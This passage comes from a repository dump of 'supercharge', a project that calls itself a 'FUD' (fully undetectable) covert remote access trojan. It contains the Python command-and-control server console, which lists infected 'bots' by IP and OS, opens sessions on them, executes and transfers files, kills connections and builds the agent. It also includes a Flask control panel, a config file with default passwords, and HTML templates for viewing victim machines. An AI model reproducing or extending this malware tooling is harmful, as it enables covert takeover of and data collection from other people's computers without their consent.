client.recv(1024).decode() 283 | wanip = xor(Ewanip) 284 | os = xor(Eos) 285 | wan_ip_list.append(wanip) 286 | oslist.append(os) 287 | except ConnectionResetError as cRe: 288 | print("--! ERROR : " + str(cRe) + ". Most likely password was rejected.") 289 | clients.remove(client) 290 | iplist.remove(str(addr[0])) 291 | 292 | filename = "bots/"+str(wanip) 293 | if(bot_settings['verbrose'] == "True"): 294 | print(Style.BRIGHT + "[+] Getting information.."+ Style.RESET_ALL) 295 | SaveInformation(client, filename) 296 | notify(str(addr[0]), str(addr[1]), str(len(clients))) 297 | # default 298 | print(Style.BRIGHT + Fore.LIGHTGREEN_EX + "[[ -> " + str(addr[0])+":"+str(addr[1])+ " <- has connected ]]" + Style.RESET_ALL) 299 | _thread.start_new_thread(ReceiveThread, (str(addr[0]), str(addr[1]), client, wanip,)) 300 | 301 | def console(): 302 | 303 | def list_bots(): 304 | print(colorama.Style.BRIGHT + colorama.Fore.LIGHTGREEN_EX + "Online : " + colorama.Style.RESET_ALL + str(len(clients))) 305 | try: 306 | if(len(clients) > 0): 307 | for i in range(len(iplist)): 308 | # print("["+str(i)+"]: " + colorama.Style.BRIGHT + colorama.Fore.LIGHTCYAN_EX + iplist[i] + colorama.Style.RESET_ALL) 309 | print( Style.BRIGHT + Fore.WHITE + 310 | "[ SESSION ID "+str(i) +" ] : [ Connection -> "+iplist[i] + " ] [ WAN -> "+wan_ip_list[i] +" ] [ OPERATING SYSTEM : " + oslist[i] + " ]" 311 | + Style.RESET_ALL) 312 | except Exception as stre: 313 | print("Error : " + str(stre)) 314 | 315 | except FileNotFoundError: 316 | print("-[+] File not found!?") 317 | except IndexError: 318 | print("USAGE : transfer ") 319 | except Exception as e: 320 | print("-[+] Error : " + str(e)) 321 | 322 | _thread.start_new_thread(Server, ()) 323 | while(True): 324 | 325 | try: 326 | current_time = datetime.datetime.now().strftime("%H:%M:%S") 327 | command = input(Style.BRIGHT + Fore.LIGHTBLUE_EX + "[" + str(current_time) + "]" + Fore.YELLOW + " supercharge" + Fore.LIGHTCYAN_EX + "> " + Style.RESET_ALL + Style.BRIGHT) 328 | args = command.split() 329 | if(command == "help"): 330 | print(Style.BRIGHT + Fore.LIGHTBLUE_EX + 331 | """ 332 | HELP 333 | ------------- 334 | ~ Console Commands : 335 | --------------------------- 336 | + list/sessions - List online clients. 337 | 338 | + settings - View settings. 339 | 340 | + options - View options of loaded module. 341 | 342 | + session - Interact with a Client. 343 | - USAGE : session 344 | 345 | + kill - Kill a connection. 346 | - USAGE : kill 347 | 348 | + bytecheck - (Misc) Check the size of a string. 349 | - (NOTE : This was added for cryptographic testing and is useless for a user. Useful for developer.) 350 | 351 | + botinfo - View information of a Connection BOT/Client. 352 | 353 | + xor - (Misc) Encrypt a string to XOR. 354 | - (NOTE : This was added for cryptographic testing.) 355 | 356 | + banner - Print banner. 357 | 358 | + build - Build the agent. 359 | 360 | + exit - Exit. 361 | 362 | ~ Session Commands : 363 | --------------------------- 364 | 365 | + botinfo - View Information. 366 | 367 | + msgbox - Send a messagebox. 368 | 369 | + transfer - Transfer a file. 370 | 371 | + exec - Execute a file. 372 | 373 | + browse - Browse the Filesystem. 374 | 375 | + help - View more detailed commands. 376 | 377 | 378 | Project Supercharge | FUD Remote Access Agent. 379 | Created by : Quantumcore (Fahad) 380 | Github : https://github.com/quantumcore 381 | Official Repository : https://github.com/quantumcore/supercharge 382 | Discord Server : https://discordapp.com/invite/8snh7nx 383 | 384 | """ + Style.RESET_ALL 385 | ) 386 | elif(command == "settings"): 387 | print( 388 | Style.BRIGHT + Fore.YELLOW + 389 | "[+] TCP Server Host : " + server_settings['host'] + 390 | "\n[+] TCP Server Port : " + server_settings['port'] + 391 | "\n[+] Print BOT INFO on connect : " + bot_settings['auto_print_bot_info'] + 392 | "\n[+] BOT Password : " + bot_settings['password'] 393 | + Style.RESET_ALL 394 | ) 395 | elif(command == "list" or command == "sessions"): 396 | list_bots() 397 | elif(command.startswith("session")): 398 | print(Style.RESET_ALL) 399 | s = command.split() 400 | try: 401 | sid = int(s[1]) 402 | prmpt = Style.BRIGHT + Fore.LIGHTCYAN_EX + "supercharge"+Fore.LIGHTGREEN_EX+"("+Fore.LIGHTYELLOW_EX + wan_ip_list[sid]+ Fore.LIGHTGREEN_EX + ")"+Style.RESET_ALL + Style.BRIGHT + "$ " + Style.RESET_ALL 403 | print("[+] Session opened for Client ID {id}.".format(id=str(sid))) 404 | isSession = True 405 | run_session(clients[sid],isSession, prmpt, sid, iplist[sid]) 406 | print("[+] Session closed for Client ID {id}.".format(id=str(sid))) 407 | except IndexError: 408 | print("CID {s} not online.".format(s=s[1])) 409 | except Exception as es: 410 | print("Error! ("+str(es)+")") 411 | 412 | elif(command == "bytecheck"): 413 | message = input("Input : ") 414 | msgsize = str(len(message)) + " Bytes." 415 | if(len(message) > 100): 416 | print("\nYour Input : " + message + "\nSize : " + msgsize + Style.BRIGHT + Fore.RED+"\n(Not Eligible for Password)" + Style.RESET_ALL) 417 | else: 418 | print("\nYour Input : " + message + "\nSize : " + msgsize + Style.BRIGHT + Fore.GREEN+"\n(Eligible for Password)" + Style.RESET_ALL) 419 | 420 | 421 | elif(command.startswith("kill")): 422 | try: 423 | cid = int(args[1]) 424 | SendData(cid, "kill") 425 | clients[cid].shutdown(socket.SHUT_RDWR) 426 | clients[cid].close() 427 | 428 | except IndexError: 429 | print("USAGE : kill ") 430 | elif(command == "build"): 431 | create_agent() 432 | 433 | elif(command.startswith("botinfo")): 434 | try: 435 | infoFor = iplist[int(args[1])] 436 | ReadInformation(infoFor) 437 | except IndexError: 438 | print("-[+] BOT is not online!?") 439 | print("-[+] Offline bot information is saved under bots/") 440 | print("-[+] Can be viewed by Humans. :)") 441 | 442 | elif(command == "banner"): 443 | print(pbanner()) 444 | 445 | elif(command == "xor"): 446 | l = input("> ") 447 | print("XOR Encrpytion/Decryption -") 448 | enc = xor(l) 449 | denc = xor(enc) 450 | print("[+] Encrypted : " + enc + " (Size : " + str(len(enc)) + " Bytes)") 451 | print("[+] Decrypted : " + denc +" (Size : " + str(len(denc)) + " Bytes)") 452 | 453 | elif(command.startswith("send")): 454 | try: 455 | cid = args[1] 456 | SendData(cid, args[2]) 457 | except IndexError: 458 | print("USAGE : send ") 459 | 460 | 461 | elif(command == "exit"): 462 | if(len(clients) > 0): 463 | print("[+] You have online bots? Kill the connections?") 464 | yn = input("Your Desicion (y/N) : ").lower() 465 | if(yn == "y"): 466 | broadcast("kill") 467 | print("[+] Disconnected everyone.") 468 | exit(True) 469 | else: 470 | pass 471 | else: 472 | exit(True) 473 | 474 | 475 | except KeyboardInterrupt: 476 | print(" = Interrupt. Type Exit to exit.") 477 | 478 | 479 | -------------------------------------------------------------------------------- /kernel/web.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, render_template 2 | from flask import request, session 3 | import configparser, time, os 4 | from .infodb import webbotinfo, ReadInformation, WBOTNAMEONLY, BOTOSONLY 5 | import random 6 | 7 | config = configparser.ConfigParser() 8 | try: 9 | config.read("supercharge.ini") 10 | except Exception as e: 11 | print(str(e)) 12 | 13 | maincfg = config['server'] 14 | user = config['user'] 15 | 16 | botlist = [] 17 | botfolder = "bots/" 18 | 19 | 20 | def load_list(): 21 | del botlist[:] 22 | files = os.listdir(botfolder) 23 | for f in files: 24 | noext = os.path.splitext(f)[0] 25 | if("readme" not in noext): 26 | botlist.append(noext) 27 | 28 | def return_status(): 29 | str1 = "All things functional.." 30 | str2 = "First change your world then change other worlds. - Quantumkernel" 31 | str3 = "The quick brown fox jumps over the lazy dog" 32 | str4 = "This is not AI this is just Random selection of strings displayed to you :v" 33 | str5 = "Life's not fair. Get used to it. - Bill Gates." 34 | str6 = "Hello, World!" 35 | str7 = "You either die a hero, Or live long enough to see yourself become the Villian. - Harvey Dent." 36 | str8 = "Be Phenomenal. - Quantumkernel." 37 | str9 = "Intelligence is the ability to avoid doing work, yet getting the work done. - Linus Torvalds." 38 | str10 = "Always do your best. What you plant now, you will harvest later. - OG Mandino." 39 | return random.choice([str1, str2, str3, str4, str5, str6, str7, str8, str9, str10]) 40 | 41 | def WebApp(): 42 | app = Flask("supercharge Offline", template_folder="templates") 43 | app.static_folder = "static" 44 | 45 | def saveLog(data, moredata, ip): 46 | timenow = time.strftime("%Y%m%d-%H%M%S") 47 | with open("suspicious-logins/" + timenow + ".txt", "w+") as file: 48 | file.write("Suspicious Login From " + ip) 49 | file.write("\n\nData :" + "\nUSERNAME : " + data + "\nPASSWORD : " + moredata + "\n") 50 | 51 | @app.route("/") 52 | def webui(): 53 | return render_template("index.html") 54 | 55 | @app.route("/index.html") 56 | def back(): 57 | return render_template("index.html") 58 | 59 | @app.route("/login", methods=['POST']) 60 | def loginUser(): 61 | if(request.form['password'] == user['password'] and request.form["username"] == user['username']): 62 | session['logged_in'] = True 63 | return render_template("main.html", host="Welcome, " + user['username'] + "!", msg=return_status()) 64 | else: 65 | print("Suspicious login from " + request.remote_addr) 66 | saveLog(request.form['username'], request.form['password'], request.remote_addr) 67 | return render_template("failure.html") 68 | 69 | 70 | @app.route("/settings") 71 | def settings(): 72 | if(session.get('logged_in')): 73 | return render_template("settings.html", usern=user['username'], passw=user['password'], ip=maincfg['host'], port=maincfg['port']) 74 | else: 75 | return render_template("index.html") 76 | 77 | @app.route("/showbotinfo", methods=['POST']) 78 | def showbotinfo(): 79 | if(session.get('logged_in')): 80 | forbot = request.form['forbot'] 81 | print(forbot) 82 | ReadInformation("bots/"+forbot) 83 | if(BOTOSONLY(forbot) == "Windows 8" or BOTOSONLY(forbot) == "Windows 10"): 84 | return render_template("botinfo_winten.html", info=webbotinfo, botname=WBOTNAMEONLY(forbot)) 85 | elif(BOTOSONLY(forbot) == "Windows 7"): 86 | return render_template("botinfo_winseven.html", info=webbotinfo, botname=WBOTNAMEONLY(forbot)) 87 | else: 88 | return render_template("botinfo_winxp.html", info=webbotinfo, botname=WBOTNAMEONLY(forbot)) 89 | else: 90 | return render_template("index.html") 91 | 92 | 93 | @app.route("/cp") 94 | def cp(): 95 | if(session.get('logged_in')): 96 | return render_template("main.html", host=user['username'], msg=return_status()) 97 | else: 98 | return render_template("index.html") 99 | 100 | @app.route("/bots") 101 | def view_bots(): 102 | if(session.get('logged_in')): 103 | load_list() 104 | return render_template("bots.html", botlist=botlist) 105 | else: 106 | return render_template("index.html") 107 | 108 | @app.route("/about") 109 | def about(): 110 | if(session.get('logged_in')): 111 | return render_template("about.html") 112 | else: 113 | return render_template("index.html") 114 | 115 | @app.route("/passchange") 116 | def passchange(): 117 | if(session.get('logged_in')): 118 | return render_template("passchange.html") 119 | else: 120 | return render_template("index.html") 121 | 122 | @app.route("/passchange_success", methods=['POST']) 123 | def changePassword(): 124 | newusername = request.form['newusername'] 125 | newpass = request.form['newpassword'] 126 | repass = request.form['repass'] 127 | currentpass = request.form['currentpass'] 128 | 129 | if(currentpass == user['password']): 130 | if(newpass == repass): 131 | config.set("user", "username", newusername) 132 | config.set("user", "password", newpass) 133 | with open("supercharge.ini", "w") as cfg: 134 | config.write(cfg) 135 | 136 | session['logged_in'] = False 137 | return render_template("index.html") 138 | else: 139 | return render_template("main.html", msg="Your last password change attempt resulted in a failure because of wrong passwords.") 140 | else: 141 | return render_template("main.html", msg="Your last password change attempt resulted in a failure because of Wrong Password.") 142 | 143 | 144 | @app.route("/server_settings") 145 | def server_settings(): 146 | if(session.get('logged_in')): 147 | return render_template("server_settings.html") 148 | else: 149 | return render_template("login.html") 150 | 151 | @app.route("/changesuccess", methods=['POST']) 152 | def newHostnPort(): 153 | if(session.get('logged_in')): 154 | newhost = request.form['newhost'] 155 | newport = request.form['newport'] 156 | config.set("server", "host", newhost) 157 | config.set("server", "port", newport) 158 | with open("supercharge.ini", "w") as cfg: 159 | config.write(cfg) 160 | return render_template("main.html", msg="Host and Port changed.") 161 | else: 162 | return render_template("login.html") 163 | 164 | @app.route("/logout") 165 | def logout(): 166 | session['logged_in'] = False 167 | return render_template("index.html") 168 | 169 | app.secret_key = os.urandom(12) 170 | app.run(port=80, debug=True, use_reloader=True) 171 | 172 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | geoip2 2 | colorama 3 | configparser 4 | plyer 5 | flask 6 | -------------------------------------------------------------------------------- /static/cp.css: -------------------------------------------------------------------------------- 1 | @import url('https://fonts.googleapis.com/css?family=Roboto+Mono&display=swap'); 2 | body{ 3 | background-color: #23272A; 4 | font-family: 'Roboto Mono', monospace; 5 | text-align: center; 6 | color: white; 7 | } 8 | 9 | .barnav { 10 | background-color: #23272A; 11 | overflow: hidden; 12 | -webkit-transition-duration: 0.4s; 13 | transition-duration: 0.4s; 14 | } 15 | 16 | .inputs{ 17 | border: 2px solid transparent; 18 | border-radius: 4px; 19 | width: 300px; 20 | padding: 12px 20px; 21 | font-family: 'Roboto Mono', monospace; 22 | -webkit-transition-duration: 0.4s; 23 | transition-duration: 0.4s; 24 | color: white; 25 | background-color: #2C2F33; 26 | } 27 | 28 | .inputs:focus{ 29 | border: 2px solid transparent; 30 | color: white; 31 | } 32 | 33 | .inputs:hover{ 34 | border: 2px solid transparent; 35 | color: dodgerblue; 36 | } 37 | 38 | .barnav a { 39 | float: left; 40 | color: #f2f2f2; 41 | text-align: center; 42 | padding: 15px 30px; 43 | text-decoration: none; 44 | font-size: 20px; 45 | font-weight: bold; 46 | } 47 | 48 | .barnav a:hover { 49 | background-color: transparent; 50 | color: white; 51 | border: 2px solid dodgerblue; 52 | border-radius: 5px; 53 | text-shadow: 1px 1px 2px dodgerblue, 0 0 25px dodgerblue, 0 0 5px dodgerblue; 54 | } 55 | 56 | .barnav a.active { 57 | background-color: transparent; 58 | color: white; 59 | } 60 | 61 | .box 62 | { 63 | padding: 15px 30px; 64 | border: 2px solid #046CCF; 65 | -webkit-box-shadow: 2px 2px 16px 0px #000000; 66 | box-shadow: 2px 2px 16px 0px #000000; 67 | } 68 | 69 | .info 70 | { 71 | /*width: 500px;*/ 72 | font-size: 15px; 73 | position: center; 74 | text-align: center; 75 | padding: 10px 20px; 76 | border: 2px solid #046CCF; 77 | -webkit-box-shadow: 2px 2px 16px 0px #000000; 78 | box-shadow: 2px 2px 16px 0px #000000; 79 | } 80 | -------------------------------------------------------------------------------- /static/main.css: -------------------------------------------------------------------------------- 1 | @import url('https://fonts.googleapis.com/css?family=Roboto+Mono&display=swap'); 2 | 3 | body{ 4 | background-color: #23272A; 5 | font-family: 'Roboto Mono', monospace; 6 | text-align: center; 7 | color: dodgerblue; 8 | padding: 10px; 9 | } 10 | 11 | .heading{ 12 | font-size: 30px; 13 | color: white; 14 | } 15 | 16 | .inputs{ 17 | border: 2px solid transparent; 18 | border-radius: 4px; 19 | width: 300px; 20 | padding: 12px 20px; 21 | font-family: 'Roboto Mono', monospace; 22 | -webkit-transition-duration: 0.4s; 23 | transition-duration: 0.4s; 24 | color: white; 25 | background-color: #2C2F33; 26 | } 27 | 28 | .inputs:focus{ 29 | border: 2px solid transparent; 30 | color: white; 31 | } 32 | 33 | .inputs:hover{ 34 | border: 2px solid transparent; 35 | color: white; 36 | } 37 | .buttons{ 38 | background-color: #2C2F33; 39 | padding: 14px 40px; 40 | color: white; 41 | font-size: 14px; 42 | border-radius: 15px; 43 | border: 2px solid #555555; 44 | -webkit-transition-duration: 0.4s; 45 | transition-duration: 0.4s; 46 | font-family: monospace; 47 | } 48 | 49 | .buttons:hover{ 50 | color: dodgerblue; 51 | } -------------------------------------------------------------------------------- /static/supercharge.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/quantumcore/supercharge/a68aa86c576dad578c5ee5532ca4c65a1ecc2304/static/supercharge.png -------------------------------------------------------------------------------- /static/tux.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/quantumcore/supercharge/a68aa86c576dad578c5ee5532ca4c65a1ecc2304/static/tux.png -------------------------------------------------------------------------------- /static/windows7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/quantumcore/supercharge/a68aa86c576dad578c5ee5532ca4c65a1ecc2304/static/windows7.png -------------------------------------------------------------------------------- /static/windows8-10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/quantumcore/supercharge/a68aa86c576dad578c5ee5532ca4c65a1ecc2304/static/windows8-10.png -------------------------------------------------------------------------------- /static/windowsxp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/quantumcore/supercharge/a68aa86c576dad578c5ee5532ca4c65a1ecc2304/static/windowsxp.png -------------------------------------------------------------------------------- /supercharge.ini: -------------------------------------------------------------------------------- 1 | # Username and Password for Supercharge Offline 2 | [user] 3 | username = godblessu 4 | password = godblessu 5 | # Server Settings 6 | [server] 7 | host = 0.0.0.0 8 | port = 3982 9 | # Bot Settings 10 | [bot] 11 | password = mysecretpassword 12 | verbrose = False 13 | auto_print_bot_info = False 14 | 15 | -------------------------------------------------------------------------------- /supercharge.py: -------------------------------------------------------------------------------- 1 | from kernel.infodb import * 2 | from kernel.spmain import * 3 | from kernel.banner import pbanner 4 | import _thread 5 | 6 | def main(): 7 | clear() 8 | print(pbanner()) 9 | console() 10 | 11 | main() 12 | -------------------------------------------------------------------------------- /supercharge_offline.py: -------------------------------------------------------------------------------- 1 | from kernel.web import * 2 | 3 | def main(): 4 | WebApp() 5 | 6 | if __name__ == "__main__": 7 | main() -------------------------------------------------------------------------------- /suspicious-logins/readme.md: -------------------------------------------------------------------------------- 1 | # This folder contains suspicious logins in supercharge offline -------------------------------------------------------------------------------- /templates/about.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | supercharge - Control Panel 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | BOTS 15 | Settings 16 | About 17 |
18 |

19 |
20 | 21 |
22 |
23 | 24 |

supercharge

25 |

26 | supercharge Private covert Remote access trojan. 27 |

28 |
29 |


30 |
31 | 32 |
33 | 34 | -------------------------------------------------------------------------------- /templates/botinfo_winseven.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | supercharge - BOT 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | BOTS 15 | Settings 16 | About 17 |
18 |

19 |
20 | 21 |

{{ botname }}

22 |

23 | {% for i in info %} 24 | {{ i }}

25 | {% endfor %} 26 |

27 |
28 | 29 | 30 | -------------------------------------------------------------------------------- /templates/botinfo_winten.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | supercharge - BOT 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | BOTS 15 | Settings 16 | About 17 |
18 |

19 |
20 | 21 |

{{ botname }}

22 |

23 | {% for i in info %} 24 | {{ i }}

25 | {% endfor %} 26 |

27 |
28 | 29 | -------------------------------------------------------------------------------- /templates/botinfo_winxp.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | supercharge - BOT 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | BOTS 15 | Settings 16 | About 17 |
18 |

19 |
20 | 21 |

{{ botname }}

22 |

23 | {% for i in info %} 24 | {{ i }}

25 | {% endfor %} 26 |

27 |
28 | 29 | 30 | -------------------------------------------------------------------------------- /templates/bots.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | supercharge - BOTS 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | BOTS 15 | Settings 16 | About 17 |
18 |

19 |
20 |

BOTS

21 | {% for i in botlist %} 22 |
23 |

24 |
25 | {% endfor %} 26 |


27 |
28 | 29 | -------------------------------------------------------------------------------- /templates/failure.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | supercharge - Login Failed 7 | 8 | 9 | 10 | 11 |
12 | 13 |
14 |
15 | Login Failed 16 |
17 |

Your Login Attempt resulted in a Failure. It may be because of the following reasons.

18 | - You did not Enter Correct Credentials.

19 | - You do not know the Correct Credentials. If this is the Case. Read the Documentation.

20 | - You are someone else trying to get Access. If this is the Case. Then remember your Activity is being Logged.

21 |

22 | Go Back 23 |

24 | 25 | -------------------------------------------------------------------------------- /templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | supercharge 7 | 8 | 9 | 10 | 11 |
12 |

Authenticate

13 |
14 | {% block body %} 15 | {% if session['logged_in'] %} 16 | 17 | 18 | Already Logged in. 19 | 20 | {% else %} 21 |
22 | 23 |

24 |

25 | 26 |
27 | {% endif %} 28 | {% endblock %} 29 | 30 | -------------------------------------------------------------------------------- /templates/main.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | supercharge - Control Panel 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | BOTS 15 | Settings 16 | About 17 |
18 |

19 |
20 |

21 | {{ host }} 22 |

23 | 24 | {{ msg }} 25 | 26 |

27 |
28 |


29 |
30 | 31 |
32 | 33 | -------------------------------------------------------------------------------- /templates/passchange.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | supercharge - Password 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | BOTS 15 | Settings 16 |
17 |

18 |
19 |

Change Credentials

20 |
21 |
22 |

23 | Enter New Username :


24 | Enter New Password :


25 | Re - Enter New Password :


26 | Enter Current Password :


27 | 28 |

29 |
30 |
31 |


32 |
33 | 34 | -------------------------------------------------------------------------------- /templates/server_settings.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | supercharge - Server 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | BOTS 15 | Settings 16 |
17 |

18 |
19 |

Change Host and Port

20 |
21 |
22 |

23 | Host :


24 | Port :


25 | 26 |

27 |
28 |
29 |


30 |
31 | 32 | -------------------------------------------------------------------------------- /templates/settings.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | supercharge - Settings 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | BOTS 15 | Settings 16 | About 17 |
18 |

19 |
20 |

Settings

21 |
22 |
23 |


24 |
25 |

supercharge Offline

26 |

27 | Username : {{ usern }}
28 | Password : {{ passw }} 29 |


30 | Default username and password is godblessu 31 |


32 | 33 | Click here to Change

34 |

35 |
36 |


37 |
38 |

supercharge Server

39 |

40 | Host : {{ ip }}
41 | Port : {{ port }}
42 |


43 | Click here to Change

44 |


45 |

46 |
47 |


48 | 49 |
50 | Click the logo or click 51 | here 52 | To go back. 53 |
54 | 55 | --------------------------------------------------------------------------------